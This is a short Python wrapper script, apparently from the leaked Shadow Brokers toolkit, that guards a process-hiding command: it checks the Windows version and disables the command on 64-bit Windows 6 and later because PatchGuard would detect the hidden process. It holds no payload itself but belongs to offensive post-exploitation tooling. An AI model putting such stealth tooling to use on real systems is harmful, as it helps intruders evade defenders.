shadowbrokers-exploits/windows/Resources/Ops/PyScripts/wrappers/hide.py
2017-04-14 11:45:07 +02:00

11 lines
No EOL
416 B
Python

import datetime
import sys
import dsz
import ops
import ops.system.systemversion
dsz.control.echo.Off()
version = ops.system.systemversion.get_os_version(maxage=datetime.timedelta.max)
if ((version.versioninfo.major >= 6) and (version.versioninfo.arch == 'x64')):
ops.error('PatchGuard will detect and kill the process hidden via this technique. Command disabled on this platform.')
sys.exit((-1))